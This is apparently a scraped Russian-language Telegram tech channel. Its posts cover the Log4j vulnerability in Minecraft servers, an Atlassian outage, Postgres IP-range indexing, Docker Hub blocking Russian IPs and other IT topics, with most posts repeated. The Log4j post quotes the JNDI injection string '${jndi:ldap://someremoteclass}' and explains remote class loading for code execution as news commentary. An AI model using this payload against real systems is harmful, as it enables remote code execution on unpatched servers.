История с Log4j, конечно, интересная. Теперь и пользовательские серверы Minecraft в панике. Как пишут, достаточно лишь отправить сообщение в чат, чтобы выполнить вредоносный код.
Обычно от логировщика требуется одно: получить строку и отправить в соответствии с предоставленными конфигурациями. Но Log4j проверяет входные данные и резолвит их.
Как пример, на Хакерньюз приводят такое:
Если как аргумент скормить что-то такое:
Как пример уязвимости — http сервер, который логирует строку, скажем, user agent.
Конкретно для Minecraft вышел официальный патч 1.18.1, который закрывает уязвимость, но множество пользовательских серверов всё ещё подвержены этому.
#IT
Обычно от логировщика требуется одно: получить строку и отправить в соответствии с предоставленными конфигурациями. Но Log4j проверяет входные данные и резолвит их.
Как пример, на Хакерньюз приводят такое:
Logging from ${java:vm} // на выходе будет Logging from Oracle JVM
. Если как аргумент скормить что-то такое:
${jndi:ldap://someremoteclass}
, то с удалённого сервера можно подгрузить класс и динамически исполнить вредоносный код.Как пример уязвимости — http сервер, который логирует строку, скажем, user agent.
Конкретно для Minecraft вышел официальный патч 1.18.1, который закрывает уязвимость, но множество пользовательских серверов всё ещё подвержены этому.
#IT
YouTube
CVE-2021-44228 Log4j (Minecraft) RCE Proof-Of-Concept
Works.
Поучительная история о недавней недоступности Atlassian. Плохая коммуникация, проблемы с секьюрностью и отсутствие нормальных бекапов. Классика.
Если вкратце, то запустили скрипт не с теми правами, передали не те ID'шники, в итоге потёрли данные 400+ клиентов. Почему восстановление заняло столько дней? Бекапится у них всё скопом. Вероятно, даже стандартными средствами БД. В итоге восстановить можно либо всё, либо ничего.
Если накатить старый бекап, то у тех, кто потерял данные, они восстановятся, но, при этом, удалится всё у тех, кто что-то менял после точки бекапа. Вот они все эти дни селлективно ручками восстанавливали данные.
В целом, распространённая практика, особенно в стартапах, т. к. нет времени писать собственную систему бекапа. Обычно просто периодические бекапы делаются, даже не инкрементные. Плюс ещё надежда на то, что "всё будет отлично и ничего фатального не случится". Многие свои бекапы даже никогда не проверяют. А когда прижмёт, то может оказаться, что бекапы битые. Такое даже с крупными компаниями случалось не раз.
#IT
Если вкратце, то запустили скрипт не с теми правами, передали не те ID'шники, в итоге потёрли данные 400+ клиентов. Почему восстановление заняло столько дней? Бекапится у них всё скопом. Вероятно, даже стандартными средствами БД. В итоге восстановить можно либо всё, либо ничего.
Если накатить старый бекап, то у тех, кто потерял данные, они восстановятся, но, при этом, удалится всё у тех, кто что-то менял после точки бекапа. Вот они все эти дни селлективно ручками восстанавливали данные.
В целом, распространённая практика, особенно в стартапах, т. к. нет времени писать собственную систему бекапа. Обычно просто периодические бекапы делаются, даже не инкрементные. Плюс ещё надежда на то, что "всё будет отлично и ничего фатального не случится". Многие свои бекапы даже никогда не проверяют. А когда прижмёт, то может оказаться, что бекапы битые. Такое даже с крупными компаниями случалось не раз.
#IT
Pragmaticengineer
The Scoop: Inside the Longest Atlassian Outage of All Time
Hundreds of companies have no access to JIRA, Confluence and Atlassian Cloud. What can engineering teams learn from the poor handling of this outage?
Прохладная история про говнокод в DirectX/MediaFountain .
Около 7 лет назад автор с командой пытался разобраться с «некоторыми чрезвычайно тупыми рабочими процессами» с MediaFountain и DirectX.
Была встреча с инженерами, которые писали API и нижележащую реализацию.
Разраб усмехнулся, когда его про этот спросили: «Да вы не разберётесь в этих API по документации. Это было сделано специально. Ты должен пойти и купить книгу».
Он объяснил, что именно так он и многие другие основные инженеры Windows годами набивали свои карманы — писали сложные реализации, составляли абсолютный минимум документации, затем брали 6-месячный творческий отпуск и публиковали книги, которые были абсолютно необходимы, если хочешь работать с API.
Это якобы не прекращалось до середины 2000-х годов.
Больше похоже на шутку, конечно. Но, глядя на ответы людей, что там, что на других ресурсах, где люди без труда в подобную историю поверили, к коду возникают вопросики 😅
Сурс: https://news.ycombinator.com/item?id=36953592
#IT
Около 7 лет назад автор с командой пытался разобраться с «некоторыми чрезвычайно тупыми рабочими процессами» с MediaFountain и DirectX.
Была встреча с инженерами, которые писали API и нижележащую реализацию.
Разраб усмехнулся, когда его про этот спросили: «Да вы не разберётесь в этих API по документации. Это было сделано специально. Ты должен пойти и купить книгу».
Он объяснил, что именно так он и многие другие основные инженеры Windows годами набивали свои карманы — писали сложные реализации, составляли абсолютный минимум документации, затем брали 6-месячный творческий отпуск и публиковали книги, которые были абсолютно необходимы, если хочешь работать с API.
Это якобы не прекращалось до середины 2000-х годов.
Больше похоже на шутку, конечно. Но, глядя на ответы людей, что там, что на других ресурсах, где люди без труда в подобную историю поверили, к коду возникают вопросики 😅
Сурс: https://news.ycombinator.com/item?id=36953592
#IT
Трудовые будни. Для одной фичи нужно страну по IP определять.
Решил хранить ренжи IP'шников в Постгре (т. к. его и так уже используем) в полях c айпишками ОТ и ДО типа
Заменил на подсети,
Чтоб вы понимали масштаб того, как хреновые индексы и организация данных влияет на CPU 😅
Оно реально на 100% базу нагрузило, т. к. очень много селектов.
В общем, грамотно подходите к индексам.
#IT
Решил хранить ренжи IP'шников в Постгре (т. к. его и так уже используем) в полях c айпишками ОТ и ДО типа
inet
. В итоге индексы не завелись, база просела на порядок.Заменил на подсети,
cidr
тип и GIST
индекс. Полетело превосходно 😎Чтоб вы понимали масштаб того, как хреновые индексы и организация данных влияет на CPU 😅
Оно реально на 100% базу нагрузило, т. к. очень много селектов.
В общем, грамотно подходите к индексам.
#IT
Сейчас довольно важный рубеж у Balancy, нужно много чего до конца года сделать, в том числе, к ноябрьской конференции в Португалии подготовиться.
И из-за сроков многие вещи приходится делать, так сказать, «по-быстрому». И каждый раз кукуха протестует, когда вместо продуманного и нормального решения делаешь на скорую руку/MVP.
В контексте стартапа это, конечно, позволяет довольно быстро итерировать, проверять гипотезы, отбрасывать на ранних этапах фичи, которые оказались не нужны, но, блииин, как технарь вечно вою внутри, когда так приходится делать.
После каждой подобной имплементации у меня в коде стены текста остаются про то, почему так сделано, и как в будущем это надо будет переделать 😅
#стартапы #it #Balancy
И из-за сроков многие вещи приходится делать, так сказать, «по-быстрому». И каждый раз кукуха протестует, когда вместо продуманного и нормального решения делаешь на скорую руку/MVP.
В контексте стартапа это, конечно, позволяет довольно быстро итерировать, проверять гипотезы, отбрасывать на ранних этапах фичи, которые оказались не нужны, но, блииин, как технарь вечно вою внутри, когда так приходится делать.
После каждой подобной имплементации у меня в коде стены текста остаются про то, почему так сделано, и как в будущем это надо будет переделать 😅
#стартапы #it #Balancy
Из мира UI...API'шка Твиттера отдаёт подробные ошибки в теле ответа. Но пользователю показывается дженерик текст, который вообще не говорит о том, что не так с видео. Куча сайтов и софта этим страдают.
Причины:
- Продакты/дизайнеры думают, что подробные ошибки и прочее могут отпугнуть юзера.
- Такие ошибки довольно редко происходят, поэтому разработчики не парятся над их нормальной обработкой.
- Плохое взаимодействие между бекендщиками и фронтендщиками.
#IT #UI
Причины:
- Продакты/дизайнеры думают, что подробные ошибки и прочее могут отпугнуть юзера.
- Такие ошибки довольно редко происходят, поэтому разработчики не парятся над их нормальной обработкой.
- Плохое взаимодействие между бекендщиками и фронтендщиками.
#IT #UI
Cloudflare выиграла дело против патентного тролля. Как бы ок, не первый раз, но...
Эти сволочи (тролли патентные) настолько всех задолбали, что Cloudflare оказывается в 2017 запустила Project Jengo. В рамках программы выплачивают энтузиастам $, если те найдут доказательства невалидности патента.
Удивительное дело, конечно, что все в курсе про проблему с троллями, всех (кроме троллей и юристов 🌚, конечно же) она бесит, но воз и ныне там.
#IT
Эти сволочи (тролли патентные) настолько всех задолбали, что Cloudflare оказывается в 2017 запустила Project Jengo. В рамках программы выплачивают энтузиастам $, если те найдут доказательства невалидности патента.
Удивительное дело, конечно, что все в курсе про проблему с троллями, всех (кроме троллей и юристов 🌚, конечно же) она бесит, но воз и ныне там.
#IT
Сегодня Docker* Hub стал недоступен с IP'шников российских. При этом не было ни уведомлений, ни предупреждений.
Даже в заглушке РФ нету:
Могу посоветовать использовать Nexus. Заводится с полупинка на своём серваке. Можно не только образы докеровские пихать, но и другие регистри настраивать (npm тот же).
*компания нехороших людей
#Docker #IT
Даже в заглушке РФ нету:
403 Forbidden
Since Docker is a US company, we must comply with US export control regulations. In an effort to comply with these, we now block all IP addresses that are located in Cuba, Iran, North Korea, Republic of Crimea, Sudan, and Syria. If you are not in one of these cities, countries, or regions and are blocked, please reach out to https://hub.docker.com/support/contact/
Могу посоветовать использовать Nexus. Заводится с полупинка на своём серваке. Можно не только образы докеровские пихать, но и другие регистри настраивать (npm тот же).
*компания нехороших людей
#Docker #IT
Что ж. Docker разблокировали. Возможно после таких писем, возможно нет.
Но осадочек остался. Как минимум, потому что ранее они меняли заглушку 403, включив туда всю Россию, т. е. это не было случайностью. Выходит, что пошли на попятную?🤔
И хоть сейчас работает всё, но прецедент был, поэтому всё ещё рекомендую переехать на селф-хостед Нексус или Гитлаб какой-нить.
Ну и в целом я за селф-хостед по возмонжости, чтоб не завязываться на вендоров и провайдеров.
#Docker #IT
Но осадочек остался. Как минимум, потому что ранее они меняли заглушку 403, включив туда всю Россию, т. е. это не было случайностью. Выходит, что пошли на попятную?
И хоть сейчас работает всё, но прецедент был, поэтому всё ещё рекомендую переехать на селф-хостед Нексус или Гитлаб какой-нить.
Ну и в целом я за селф-хостед по возмонжости, чтоб не завязываться на вендоров и провайдеров.
#Docker #IT
Please open Telegram to view this post
VIEW IN TELEGRAM